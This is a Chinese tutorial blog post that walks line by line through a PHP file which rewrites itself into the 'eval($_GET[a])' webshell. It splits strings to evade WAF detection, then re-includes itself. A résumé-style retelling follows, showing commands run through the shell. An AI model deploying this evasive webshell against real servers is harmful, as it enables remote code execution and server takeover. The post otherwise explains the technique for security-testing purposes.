bypass

代碼解析

修改自身bypass:

第一句話

$s="Declaring file object\n";

定義一個s,值為Declaring file object

第二句話

$d=$_SERVER['DOCUMENT_ROOT'].$_SERVER['DOCUMENT_URI']; ?

不知道$_SERVER是什么,那就打印出來看看。輸入

echo '<pre>';

print_r($_SERVER);

打印出:

可知:

//$_SERVER['DOCUMENT_ROOT'] 獲取的是:/usr/local/nginx/html

//$_SERVER['DOCUMENT_URI'] ?獲取的是:/bypass/5.php

. 在php中是拼接的意思,既這句話的意思是定義一個d,他的值是:? /uSr/local/nginx/html/bypass/demO2.php

第三句話

$file = new SplFileObject($d,'w');

提供一個函數SplFileObject,查官方文檔得知:

::,兩個冒號是靜態方法。當去new一個類的時候,構造函數會自動執行。

$file = new SplFileObject("fwrite.txt", "w");

  • 這是創建一個新的文件對象(使用的是 PHP 的 SplFileObject 類)。

  • "fwrite.txt" 是文件名,如果不存在就會創建它。

  • "w" 是打開模式,表示:

    • 打開用于寫入,

    • 如果文件存在,將會清空原內容;

    • 如果文件不存在,會嘗試創建一個新文件。

$written = $file->fwrite("12345");
  • 使用 fwrite() 方法向文件寫入字符串 "12345"

  • 寫入成功后,返回值是寫入的字節數這里是 5

  • “12345”為想寫入的內容

所以第三局話的意思是:定義一個file,他的值為新的一個類(SplFileObject),這個類的作用是往d寫入內容。

第四句話

$file->fwrite("<?php"." eva".$s[3]);

調用fwrite寫入內容,$s[3]的意思是調用第一句話的第3個字母“l”,把l取出來,那么這句話的意思是:寫入<?php eval到此沒完,因為一句話木馬沒寫完

第五句話

$file->fwrite("(\$_"."GET"."[a]);?>"); ?

繼續寫入。因為$是定義變量的前綴,所以要在前面加一個轉義字符\,把$_變為普通的$符號。這句話的意思是:($_GET[a]);?>

一執行5.php就會改頭換面變為:<?php eval($_GET[a]);?>

第六句話

include(get_included_files()[0]);

get_included_files()

  • 這是 PHP 的一個內置函數。

  • 它返回一個 數組,包含當前腳本中所有通過 includerequireinclude_oncerequire_once 加載過的文件名

  • 每個元素是一個絕對路徑

  • 下標 0當前正在執行的主腳本本身的路徑

表示的就是當前 PHP 腳本的完整路徑名:/usr/local/nginx/html/bypass/5.php

include(...)

  • include 的作用是把某個 PHP 文件里的代碼**“嵌入并執行”**到當前位置。

  • 相當于重新執行當前腳本

此時5.php完全變了。變為:

看似合理無害的文件,變為了一句話木馬。在上傳時waf并未認定是惡意文件,那是在運行的時候,改變了自身的屬性。

寫成項目經歷:


這個項目是我在做 Web 滲透測試時發現的一類漏洞利用方法,重點是通過 PHP 的自寫入和自身包含機制,繞過常規的安全防護,實現遠程代碼執行。
當時目標系統用了 PHP,目錄權限不算嚴格,用戶上傳文件后可以被 Web 訪問。起初發現系統對 eval() 函數和常規 WebShell 特征做了過濾,比如直接上傳 <?php eval($_GET['a']); ?> 這類代碼會被攔截或者清除。
后來我嘗試換思路,通過 PHP 的 SplFileObject 類創建當前腳本的文件對象(也就是$_SERVER['DOCUMENT_URI'] 加上 $_SERVER['DOCUMENT_ROOT'] 得到的路徑),然后動態拼接寫入一句類似 <?php eval($_GET['a']); ?> 的代碼,但故意打散寫法,避開特征檢測。比如把 eval 拆成 "eva".$s[3]($s[3] 是 "l"),把變量寫成 \$_GET["a"],這樣即使是代碼審計工具或者 Web 應用防火墻(WAF)也不太容易識別。
寫完后,再用 include(get_included_files()[0]); 重新加載當前腳本,就會立即執行剛寫進去的惡意代碼。然后我訪問這個文件并傳入 a=phpinfo(); 或 a=system('id');,就能執行任意命令,拿到服務器權限。
這個過程可以實現繞過上傳限制、繞過 WAF 特征識別、繞過禁用函數控制,屬于一個組合型的 RCE 利用鏈。后面我把這套方法寫成了利用腳本,并整理成報告提交給了客戶方,得到了他們的高度重視,也推動了他們修改相關目錄權限和配置。

? 在這個項目里,我主要負責漏洞挖掘、利用方式設計以及后續的復現與驗證,另外還參與了編寫報告和向客戶講解復現方式。

贊贊贊贊贊贊贊贊贊贊贊贊贊贊贊贊贊贊贊贊贊點點。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/pingmian/91846.shtml
繁體地址,請注明出處:http://hk.pswp.cn/pingmian/91846.shtml
英文地址,請注明出處:http://en.pswp.cn/pingmian/91846.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

C語言:構造類型學習

內容提要 構造類型 枚舉類型typedef 綜合案例&#xff1a;斗地主 構造類型 枚舉類型 建議&#xff1a;如果定義不相干的常理&#xff0c;使用宏定義&#xff08;符號常量&#xff09;&#xff1b;如果需要定義一組相關聯的常量&#xff0c;如月份0~11&#xff0c;星期0~6&#…

Prometheus-3--Prometheus是怎么抓取Java應用,Redis中間件,服務器環境的指標的?

1、Prometheus抓取Java應用的指標 1、數據來源&#xff1a;Java應用自身暴露的指標 Java應用的指標數據來源于應用代碼中定義的指標對象&#xff08;如Counter、Gauge、Histogram等&#xff09;&#xff0c;通過Prometheus客戶端庫&#xff08;如io.prometheus:client_java&…

42.安卓逆向2-補環境-unidbg安裝和簡單使用

免責聲明&#xff1a;內容僅供學習參考&#xff0c;請合法利用知識&#xff0c;禁止進行違法犯罪活動&#xff01; 內容參考于&#xff1a;圖靈Python學院 工具下載&#xff1a; 鏈接&#xff1a;https://pan.baidu.com/s/1bb8NhJc9eTuLzQr39lF55Q?pwdzy89 提取碼&#xff1…

數據結構與算法:哈希函數的應用及一些工程算法

前言這篇里的東西可以說了解了解就行了。一、哈希函數均勻性展示原本讓deepseek轉了一下老師的java代碼&#xff0c;但發現復刻起來太麻煩了。又因為這個理解就好&#xff0c;競賽不會有&#xff0c;所以就直接貼老師的java代碼了……import java.security.MessageDigest; impo…

交叉編譯ARM環境

ARM交叉編譯 可以采用交叉編譯工具鏈&#xff1a; sudo apt-get install aarch64-linux-gnu-gcc sudo apt-get install aarch64-linux-gnu-g sudo apt-get install gcc-arm-linux-gnueabi sudo apt-get install g-arm-linux-gnueabi 上面兩個是64位&#xff0c;下面兩個是…

算法思想 之 拓撲排序問題

歡迎拜訪&#xff1a;霧里看山-CSDN博客 本篇主題&#xff1a;算法思想 之 拓撲排序問題 發布時間&#xff1a;2025.8.4 隸屬專欄&#xff1a;算法 目錄算法介紹核心原理適用場景實現步驟(Kahn 算法)例題課程表題目鏈接題目描述算法思路代碼實現課程表 II題目鏈接題目描述算法思…

機器學習 入門——決策樹分類

決策樹是一種直觀且強大的機器學習算法&#xff0c;適用于分類和回歸任務。本文將全面介紹決策樹分類的原理、實現、調優和實際應用。一、什么是決策樹分類1.概念決策樹分類是一種樹形結構的分類模型&#xff0c;它通過遞歸地將數據集分割成更小的子集來構建決策規則。就像我們…

虛擬機中查看和修改文件權限

在虛擬機中管理文件權限是系統管理的重要部分&#xff0c;無論是在Linux還是Windows虛擬機中。下面我將詳細介紹兩種主要系統的權限管理方法。Linux虛擬機中的文件權限管理查看文件權限使用ls命令&#xff1a;ls -l 文件名輸出示例&#xff1a;-rwxr-xr-- 1 user group 1024 Ju…

圖像處理拉普拉斯算子

AI對話記錄&#xff0c;還沒有來得及仔細驗證和推導&#xff0c;目前只是記錄 當然可以&#xff01;我們來一步步推導拉普拉斯算子在旋轉變換下保持不變的數學過程。這里以二維情況為例&#xff0c;最直觀也最常見。&#x1f9ee; 拉普拉斯算子旋轉不變性的推導&#xff08;二維…

React ahooks——副作用類hooks之useThrottleEffect

useThrottleEffect 是 ahooks 提供的節流版 useEffect&#xff0c;它在依賴項變化時執行副作用函數&#xff0c;但會限制執行頻率。一、基本語法useThrottleEffect(effect: React.EffectCallback,deps?: React.DependencyList,options?: Options )二、參數詳解2.1. effect (必…

【建模與仿真】融合畫像約束和潛在特征的深度推薦算法

導讀&#xff1a; 基于深度學習的推薦算法已成為推薦系統領域的研究趨勢。然而&#xff0c;大多數現有工作僅考慮單一的用戶與物品交互數據&#xff0c;限制了算法的預測性能。本文提出一種畫像約束的編碼方式&#xff0c;并融合隱因子模型中的潛在特征&#xff0c;豐富了推薦…

華為網路設備學習-26(BGP協議 二)路徑屬性

一、屬性分類二、屬性含義①公認必遵&#xff1a;所有BGP對等體 必須識別 且 在Update報文中攜帶1.Origin2.AS-Path3.Next hop②公認自決&#xff1a;所有BGP對等體 必須識別但可以不在Update報文中攜帶 1.Local-Preference2.ATOMIC_Aggregate③可選傳遞&#xff1a;所有BGP對…

從0搭建YOLO目標檢測系統:實戰項目+完整流程+界面開發(附源碼)

文章目錄一、前言二、專欄介紹三、已有系統介紹3.0 基于yolo通用目標檢測系統&#xff08;手把手教你修改成為自己的檢測系統&#xff09;3.1 基于yolov8柑橘檢測系統3.2 基于yolov8艦船檢測系統3.3 基于yolo11人臉檢測系統3.4 基于yolov8無人機影像光伏板缺陷檢測系統一、前言…

【測試】自動化測試工具基礎知識及基本應用

下面詳細介紹一些常用的自動化測試工具及其基本概念&#xff0c;并提供具體的示例代碼&#xff0c;幫助你更好地理解和應用這些工具。1. 自動化測試的基本概念自動化測試是通過軟件程序自動執行測試用例的過程。與手動測試相比&#xff0c;自動化測試能夠提高測試效率、減少人為…

ArcGIS的字段計算器生成隨機數

在ArcGIS的字段計算器中使用Python腳本生成0-100的隨機數&#xff0c;可以按照以下步驟操作&#xff1a; 打開屬性表&#xff0c;選擇要計算的字段打開字段計算器選擇"Python"解析器勾選"顯示代碼塊"在"預邏輯腳本代碼"中輸入以下代碼在下方表達…

【前端:Html】--1.1.基礎語法

目錄 1.HTML--簡介 2.HTML--編譯器 步驟一:啟動記事本 步驟二:用記事本來編輯 HTML 步驟三:保存 HTML 步驟四:在瀏覽器中運行 HTML 3.HTML--基礎 3.1.HTML聲明--!DOCTYPE 3.2.HTML 標題--h1 3.3.HTML 段落--p 3.3.1. 水平線--hr 3.3.2.換行符--br 3.3.3.固定格式…

FreeSWITCH 簡單圖形化界面46 - 收集打包的一些ASR服務

FreeSWITCH 簡單圖形化界面46 - 收集打包的一些ASR服務 0、一個fs的web配置界面預覽1、docker地址2、使用2.1 下載2.2 運行 3、例子3.1 下載3.2 啟動3.3 編譯mod_audio_fork或者mod_audio_stream模塊使用3.4 編寫呼叫路由和呼叫腳本呼叫路由呼叫腳本 3.5 esl捕獲識別結果3.6 其…

20250805問答課題-實現TextRank + 問題分類

textRank的工具包實現其他可能的實現方法&#xff0c;對比結果查找分類的相關算法 目錄 1. 關鍵詞提取TF-IDF TextRank 1.1. TF-IDF算法 1.2. TextRank算法 1.3. 雙算法提取關鍵詞 2. 問題分類 2.1. 預處理 2.2. 獲取BERT向量 2.3. 一級標簽預測 2.4. 二級標簽預測 3…

Memcached緩存與Redis緩存的區別、優缺點和適用場景

一、核心差異概述特性MemcachedRedis?數據結構?簡單鍵值存儲豐富數據結構&#xff08;String/Hash/List/Set等&#xff09;?持久化?不支持支持RDB和AOF兩種方式?線程模型?多線程單線程&#xff08;6.0支持多線程I/O&#xff09;?內存管理?Slab分配LRU淘汰多種淘汰策略&…

Git簡易教程

Git教程 VCS Version Control System版本控制系統 配置用戶名郵箱 配置用戶名和郵箱 git config --global user.name mihu git config --global user.email aaabbb.com初始化倉庫 從項目倉庫拉 git clone [項目地址]新建文件夾之后 git init提交操作 提交到倉庫 git add . #把…